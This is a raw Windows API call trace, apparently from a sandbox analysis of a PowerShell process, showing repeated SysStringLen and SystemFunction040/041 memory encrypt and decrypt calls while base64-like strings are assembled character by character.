0x30 [0217.155] SystemFunction041 (in: Memory=0x5c92d34, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92d34) returned 0x0 [0217.156] SysStringLen (param_1="w8BrMug/djSrD9BqaGo/68IxzyjjcAHLiR89vIdFL寧⁨鯭嘷") returned 0x30 [0217.156] SystemFunction040 (in: Memory=0x5c92d34, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92d34) returned 0x0 [0217.156] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ងó濫ꕜ宴퀞༗䘐飾੘ቹ盚貕￪瞏䀟袩ﲞᤁ뚍㎯켂ᫌ\쏝Ꚏʚ耐䑁\틝챮ƞ朧担ྶ㋸") returned 0x30 [0217.156] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ងó濫ꕜ宴퀞༗䘐飾੘ቹ盚貕￪瞏䀟袩ﲞᤁ뚍㎯켂ᫌ\쏝Ꚏʚ耐䑁\틝챮ƞ朧担ྶ㋸") returned 0x30 [0217.156] SystemFunction041 (in: Memory=0x5c92d34, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92d34) returned 0x0 [0217.156] SysStringLen (param_1="w8BrMug/djSrD9BqaGo/68IxzyjjcAHLiR89vIdFLv寧⁨鯭嘷") returned 0x30 [0217.156] SystemFunction040 (in: Memory=0x5c92d34, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92d34) returned 0x0 [0217.156] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ងó濫ꕜ宴퀞༗䘐飾੘ቹ盚貕￪瞏䀟袩ﲞᤁ뚍㎯켂ᫌ\쏝Ꚏʚ耐䑁怾㿰⫁숩蜏↑ۗ╷∹) returned 0x30 [0217.156] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ងó濫ꕜ宴퀞༗䘐飾੘ቹ盚貕￪瞏䀟袩ﲞᤁ뚍㎯켂ᫌ\쏝Ꚏʚ耐䑁怾㿰⫁숩蜏↑ۗ╷∹) returned 0x30 [0217.156] SystemFunction041 (in: Memory=0x5c92d34, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92d34) returned 0x0 [0217.156] SysStringLen (param_1="w8BrMug/djSrD9BqaGo/68IxzyjjcAHLiR89vIdFLvg⁨鯭嘷") returned 0x30 [0217.156] SystemFunction040 (in: Memory=0x5c92d34, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92d34) returned 0x0 [0217.157] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ងó濫ꕜ宴퀞༗䘐飾੘ቹ盚貕￪瞏䀟袩ﲞᤁ뚍㎯켂ᫌ\쏝Ꚏʚ耐䑁ܾ뮀䈇藹ⶤࡕ㗎∣) returned 0x30 [0217.157] SysStringLen (param_1="䭩ꆼ复愺䄉㽮ងó濫ꕜ宴퀞༗䘐飾੘ቹ盚貕￪瞏䀟袩ﲞᤁ뚍㎯켂ᫌ\쏝Ꚏʚ耐䑁ܾ뮀䈇藹ⶤࡕ㗎∣) returned 0x30 [0217.157] SystemFunction041 (in: Memory=0x5c92d34, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92d34) returned 0x0 [0217.157] SysStringLen (param_1="w8BrMug/djSrD9BqaGo/68IxzyjjcAHLiR89vIdFLvg=鯭嘷") returned 0x30 [0217.157] SystemFunction040 (in: Memory=0x5c92d34, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92d34) returned 0x0 [0217.157] EtwEventActivityIdControl () returned 0x0 [0217.157] EtwEventActivityIdControl () returned 0x0 [0217.157] EtwEventActivityIdControl () returned 0x0 [0217.158] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e690, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0217.158] EtwEventActivityIdControl () returned 0x0 [0217.158] EtwEventActivityIdControl () returned 0x0 [0217.158] EtwEventActivityIdControl () returned 0x0 [0217.159] SysStringLen (param_1="") returned 0x8 [0217.159] SysStringLen (param_1="N") returned 0x8 [0217.159] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0217.159] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0217.160] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0217.160] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0217.160] SysStringLen (param_1="ND") returned 0x8 [0217.160] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0217.160] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0217.160] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0217.160] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0217.160] SysStringLen (param_1="NDZ") returned 0x8 [0217.160] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0217.160] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0217.160] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0217.160] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0217.161] SysStringLen (param_1="NDZl") returned 0x8 [0217.161] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0217.161] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0217.161] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0217.161] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0217.161] SysStringLen (param_1="NDZlO") returned 0x8 [0217.161] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0217.161] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0217.161] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0217.161] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0217.161] SysStringLen (param_1="NDZlOD") returned 0x8 [0217.161] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0217.161] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0217.161] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0217.162] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0217.162] SysStringLen (param_1="NDZlODR") returned 0x8 [0217.162] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0217.162] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0217.162] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0217.162] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0217.162] SysStringLen (param_1="NDZlODRm") returned 0x8 [0217.162] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0217.162] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0217.162] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0217.163] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0217.163] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0217.163] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0217.163] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0217.163] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0217.163] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0217.163] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0217.163] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0217.163] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0217.163] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0217.164] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0217.164] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0217.164] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0217.164] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0217.164] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0217.164] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0217.164] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0217.164] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0217.164] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0217.164] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0217.164] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0217.164] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0217.164] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0217.165] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0217.165] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0217.165] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0217.165] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0217.165] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0217.165] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0217.165] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0217.165] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0217.165] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0217.165] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0217.165] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0217.165] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0217.165] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0217.166] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0217.166] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0217.166] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0217.166] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0217.166] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0217.166] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0217.166] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0217.166] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0217.166] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0217.167] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0217.167] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0217.167] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0217.167] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0217.167] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0217.167] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0217.167] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0217.167] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0217.167] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0217.167] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0217.167] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0217.167] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0217.168] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0217.168] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0217.168] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0217.168] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0217.168] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0217.168] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0217.168] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0217.168] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0217.168] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0217.168] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0217.169] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0217.169] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0217.169] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0217.169] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0217.169] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0217.169] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0217.169] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0217.169] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0217.169] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0217.169] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0217.169] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0217.169] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0217.169] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0217.170] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0217.170] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0217.170] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0217.170] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0217.170] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0217.170] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0217.170] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0217.170] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0217.171] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0217.171] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0217.171] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0217.171] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0217.171] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0217.171] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0217.171] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0217.171] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0217.171] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0217.171] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0217.171] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0217.171] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0217.172] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0217.172] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0217.172] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0217.172] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0217.172] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0217.172] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0217.172] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0217.172] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0217.172] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0217.172] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0217.172] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0217.172] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0217.173] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0217.173] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0217.173] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0217.173] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0217.173] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0217.173] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0217.173] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0217.173] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0217.173] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0217.173] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0217.173] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0217.174] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0217.174] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0217.174] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0217.174] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0217.174] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0217.174] SystemFunction041 (in: Memory=0x5c92024, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92024) returned 0x0 [0217.174] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0217.174] SystemFunction040 (in: Memory=0x5c92024, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92024) returned 0x0 [0217.175] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0217.175] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0217.175] SystemFunction041 (in: Memory=0x5c92024, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92024) returned 0x0 [0217.175] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0217.175] SystemFunction040 (in: Memory=0x5c92024, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92024) returned 0x0 [0217.175] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0217.175] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0217.175] SystemFunction041 (in: Memory=0x5c92024, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92024) returned 0x0 [0217.175] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0217.175] SystemFunction040 (in: Memory=0x5c92024, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92024) returned 0x0 [0217.175] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0217.175] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0217.176] SystemFunction041 (in: Memory=0x5c92024, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c92024) returned 0x0 [0217.176] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 